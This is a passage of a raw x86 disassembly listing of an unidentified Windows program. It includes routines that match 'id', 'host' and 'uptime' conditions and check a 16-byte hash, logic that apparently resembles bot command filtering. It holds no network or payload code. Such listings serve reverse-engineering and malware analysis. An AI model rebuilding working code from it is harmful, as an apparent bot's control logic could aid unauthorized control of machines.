arg_200C	= dword	ptr  2010h
arg_2010	= dword	ptr  2014h
arg_2014	= byte ptr  2018h

		mov	eax, 2000h
		call	sub_437B30
		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_401118
		add	esp, 2000h
		retn
sub_412B70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412BF0	proc near		; CODE XREF: sub_401D20j
		push	esi
		mov	esi, ecx
		call	sub_401FD7
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_412BF0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412C20	proc near		; CODE XREF: sub_401FD7j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_44AC5E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401541
		pop	esi
		retn
sub_412C20	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412C60	proc near		; CODE XREF: sub_40172Bj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_412C60	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412C90	proc near		; CODE XREF: sub_401B68j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401717
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
sub_412C90	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412CE0	proc near		; CODE XREF: sub_401F1Ej

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412CE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_412CE0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412D80:				; CODE XREF: ___:loc_40100Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43AC4E
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A8h]
		lea	ebp, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4130A6
		push	ebx
		push	edi
		push	offset asc_444600 ; " "
		lea	eax, [esp+44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+2Ch]
		push	2
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esp+0B4h], 0
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	edx, [esp+14h]
		push	3
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 1
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	eax, [esp+74h]
		push	0
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 2
		call	sub_4016B8
		mov	edi, eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 3
		call	sub_4013E3
		lea	ecx, [esp+28h]
		mov	ebx, eax
		call	sub_4013E3
		lea	ecx, [esp+40h]
		add	ebx, eax
		call	sub_4013E3
		mov	ecx, edi
		add	ebx, eax
		call	sub_4013E3
		lea	ecx, [esp+70h]
		lea	edi, [ebx+eax+4]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+58h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401E47
		push	offset asc_444600 ; " "
		lea	edx, [esp+8Ch]
		push	4
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 4
		call	sub_4016B8
		lea	ecx, [esp+70h]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0B0h], bl
		call	sub_401E47
		push	eax
		mov	ecx, ebp
		mov	byte ptr [esp+0ACh], 6
		call	sub_40202C
		lea	ecx, [esp+70h]
		mov	[esp+0A8h], bl
		call	sub_401226
		mov	byte ptr [esp+0A8h], 4
		lea	ecx, [esp+88h]
		call	sub_401226
		lea	edx, [esp+58h]
		mov	ecx, esi
		push	edx
		call	sub_40202C
		push	offset asc_444D14 ; "!="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F05
		xor	edi, edi


loc_412F05:				; CODE XREF: ___:00412F01j
		push	offset asc_444D10 ; "=="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F1C
		mov	edi, 1


loc_412F1C:				; CODE XREF: ___:00412F15j
		push	offset asc_444D0C ; ">"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F33
		mov	edi, 2


loc_412F33:				; CODE XREF: ___:00412F2Cj
		push	offset asc_444D08 ; "<"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F4A
		mov	edi, 3


loc_412F4A:				; CODE XREF: ___:00412F43j
		push	offset aId	; "id"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FA4
		test	edi, edi
		jnz	short loc_412F7A
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset word_44955A
		call	sub_4012EE
		test	eax, eax
		jz	short loc_412FA4
		jmp	short loc_412F97
; ---------------------------------------------------------------------------


loc_412F7A:				; CODE XREF: ___:00412F5Ej
		cmp	edi, 1
		jnz	short loc_412FA4
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset word_44955A
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FA4


loc_412F97:				; CODE XREF: ___:00412F78j
		push	0
		push	esi
		mov	ecx, offset byte_449277
		call	sub_401A41


loc_412FA4:				; CODE XREF: ___:00412F5Aj
					; ___:00412F76j ...
		push	offset aHost	; "host"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FF7
		test	edi, edi
		jnz	short loc_412FD8
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4D809D
		call	sub_4013ED
		test	eax, eax
		jnz	loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_412FD8:				; CODE XREF: ___:00412FB8j
		cmp	edi, 1
		jnz	short loc_413059
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4D809D
		call	sub_4013ED
		test	eax, eax
		jz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_412FF7:				; CODE XREF: ___:00412FB4j
		push	offset aUptime	; "uptime"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_413059
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ebx, eax
		call	sub_40165E
		test	edi, edi
		jnz	short loc_41302D
		cmp	eax, ebx
		jz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_41302D:				; CODE XREF: ___:00413025j
		cmp	edi, 1
		jnz	short loc_413038
		cmp	eax, ebx
		jnz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413038:				; CODE XREF: ___:00413030j
		cmp	edi, 2
		jnz	short loc_413043
		cmp	eax, ebx
		jle	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413043:				; CODE XREF: ___:0041303Bj
		cmp	edi, 3
		jnz	short loc_413059
		cmp	eax, ebx
		jge	short loc_413059


loc_41304C:				; CODE XREF: ___:00412FD6j
					; ___:00412FF5j ...
		push	0
		push	esi
		mov	ecx, offset byte_449277
		call	sub_401A41


loc_413059:				; CODE XREF: ___:00412FD0j
					; ___:00412FDBj ...
		lea	ecx, [esp+58h]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 1
		call	sub_401226
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+0A8h], 0
		call	sub_401226
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+0A8h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_4130A8
; ---------------------------------------------------------------------------


loc_4130A6:				; CODE XREF: ___:00412DB9j
		mov	al, 1


loc_4130A8:				; CODE XREF: ___:004130A4j
		mov	ecx, [esp+98h]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4131B0	proc near		; CODE XREF: sub_40165Ej
		nop
		call	near ptr 27E0B10h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_4131B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4131F0	proc near		; CODE XREF: sub_402018j

var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4131F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_401753
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401F23
sub_4131F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Fh]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	byte ptr [esp+20h], 2
		call	sub_401852
; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+1Ch], 3
		mov	dword ptr [esi], offset	off_43F044
		call	sub_401933
		mov	ecx, ebx
		call	sub_401C76
		mov	ecx, [esp+14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132C0	proc near		; CODE XREF: sub_401D0Cj ___:00401E29j
		push	esi
		mov	esi, ecx
		call	sub_401CA3
sub_4132C0	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_4132D8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4132D8:				; CODE XREF: ___:004132CDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132F0	proc near		; CODE XREF: sub_401CA3j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4132F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	off_43F044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_401933
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_401C76
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_4014BF
sub_4132F0	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 1
		call	sub_4011B8
; ---------------------------------------------------------------------------
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4133B0	proc near		; CODE XREF: sub_401A05j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4133B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4133B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		lea	edx, [esp+28h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 14h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4134A0	proc near		; CODE XREF: sub_401CE4j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4134A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_4017EE
		test	eax, eax
		jz	short loc_413547
		lea	ecx, [esp+18h+var_14]
		call	sub_402275
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_401901
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_10]
		mov	[esp+18h+var_14], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jz	short loc_413547


loc_413508:				; CODE XREF: sub_4134A0+A5j
		lea	eax, [esp+18h+arg_0]
		lea	ecx, [esp+18h+var_14]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+18h+var_14]
		jz	short loc_41356C
		call	sub_40118B
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jnz	short loc_413508


loc_413547:				; CODE XREF: sub_4134A0+2Ej
					; sub_4134A0+66j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_41356C:				; CODE XREF: sub_4134A0+86j
		call	sub_40135C
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_4134A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4135E0	proc near		; CODE XREF: sub_402130j

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4135E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_4017EE
		test	eax, eax
		jz	loc_4136B3
		lea	ecx, [esp+28h+var_18]
		call	sub_401037
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_401992
		mov	ecx, [eax]
		lea	edx, [esp+28h+var_14]
		mov	[esp+28h+var_18], ecx
		push	edx
		mov	ecx, ebp
		call	sub_402257
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AEB
		test	al, al
		jz	short loc_4136B3


loc_41364F:				; CODE XREF: sub_4135E0+D1j
		lea	ecx, [esp+28h+var_18]
		call	sub_4011D1
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+40h+arg_0]
		mov	ecx, esp
		mov	[esp+40h+var_10], esp
		push	eax
		call	sub_4014D3
		mov	ecx, ebx
		call	sub_401CE4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41367C
		mov	edi, [esi]


loc_41367C:				; CODE XREF: sub_4135E0+98j
		lea	ecx, [esp+28h+arg_0]
		push	ecx
		mov	ecx, edi
		call	sub_401B86
		test	eax, eax
		jz	short loc_4136DB
		test	esi, esi
		jnz	short loc_4136DB
		lea	ecx, [esp+28h+var_18]
		call	sub_4018C5
		lea	edx, [esp+28h+var_14]
		mov	ecx, ebp
		push	edx
		call	sub_402257
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AEB
		test	al, al
		jnz	short loc_41364F


loc_4136B3:				; CODE XREF: sub_4135E0+31j
					; sub_4135E0+6Dj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax


loc_4136C6:				; CODE XREF: sub_4135E0+10Ej
		mov	ecx, [esp+28h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_4136DB:				; CODE XREF: sub_4135E0+AAj
					; sub_4135E0+AEj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, edi
		jmp	short loc_4136C6
sub_4135E0	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413740	proc near		; CODE XREF: sub_401F64j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413740
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_4017EE
		test	eax, eax
		jz	short loc_4137E4
		lea	ecx, [esp+14h+var_14]
		call	sub_401E38
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_4012E9
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_14], ecx
		push	edx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D70
		test	al, al
		jz	short loc_4137E4


loc_4137A6:				; CODE XREF: sub_413740+A2j
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_14]
		push	eax
		call	sub_401FC3
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jz	short loc_413816
		lea	ecx, [esp+14h+var_14]
		call	sub_4020C2
		lea	ecx, [esp+14h+var_10]
		push	ecx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D70
		test	al, al
		jnz	short loc_4137A6


loc_4137E4:				; CODE XREF: sub_413740+2Bj
					; sub_413740+64j
		lea	ecx, [esp+14h+arg_0]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+14h+arg_18]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401582
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_413816:				; CODE XREF: sub_413740+7Dj
		push	esi
		lea	ecx, [esp+18h+var_14]
		call	sub_401FC3
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401582
sub_413740	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4138B0	proc near		; CODE XREF: sub_4011DBj

var_A4		= byte ptr -0A4h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_64		= byte ptr -64h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4138B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_4017EE
		test	eax, eax
		jz	loc_4139E3
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_401A69
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_40142E
		push	offset byte_448F30
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_4015E1
		lea	ecx, [esp+0A8h+arg_0]
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+0ACh+arg_0]
		call	sub_4014DD
		lea	ecx, [esp+0ACh+var_64]
		push	eax
		push	ecx
		call	sub_401C26
		lea	edx, [esp+0B4h+var_64]
		lea	eax, [esp+0B4h+var_74]
		push	edx
		push	eax
		call	sub_402176
		add	esp, 14h


loc_41394B:				; CODE XREF: sub_4138B0+E8j
		lea	ecx, [esp+0A8h+var_8C]
		call	sub_40142E
		xor	ecx, ecx
		lea	edx, [esp+0A8h+var_8C]
		mov	cl, [esp+esi+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 2
		push	ecx
		push	offset a2_2x	; "%2.2X"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	eax, [esp+0A8h+var_8C]
		lea	ecx, [esp+0A8h+var_A4]
		push	eax
		call	sub_4016C7
		lea	ecx, [esp+0A8h+var_8C]
		mov	byte ptr [esp+0A8h+var_4], 1
		call	sub_401226
		inc	esi
		cmp	esi, 10h
		jl	short loc_41394B
		mov	edx, [esp+0A8h+arg_18]
		lea	ecx, [esp+0A8h+var_A4]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_401B86
		test	eax, eax
		mov	byte ptr [esp+0A8h+var_4], 0
		lea	ecx, [esp+0A8h+var_A4]
		jnz	short loc_4139DE
		call	sub_401226
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_4139FC
; ---------------------------------------------------------------------------


loc_4139DE:				; CODE XREF: sub_4138B0+10Cj
		call	sub_401226


loc_4139E3:				; CODE XREF: sub_4138B0+33j
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_4139FC:				; CODE XREF: sub_4138B0+12Cj
		mov	ecx, [esp+0A8h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_4138B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413A80	proc near		; CODE XREF: sub_40192Ej

var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413A80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_4014D3
		mov	ecx, esi
		call	sub_402130
		test	eax, eax
		jz	short loc_413B2E
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+24h+var_14], esp
		push	eax
		call	sub_401726
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+40h]
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	edx
		mov	[esp+44h+var_8], 2
		call	sub_4014D3
		mov	ecx, esi
		mov	[esp+40h+var_8], 1
		call	sub_401F64
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_413B2E
		lea	ecx, [esp+40h+var_24]
		mov	byte ptr [esp+40h+var_2C], 0
		call	sub_401226
		lea	ecx, [esp+40h+var_C]
		mov	[esp+40h+var_2C], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+40h+var_34]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_413B2E:				; CODE XREF: sub_413A80+3Fj
					; sub_413A80+79j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_413A80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413BB0:				; CODE XREF: ___:00401393j
		push	0FFFFFFFFh
		push	offset loc_43AE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
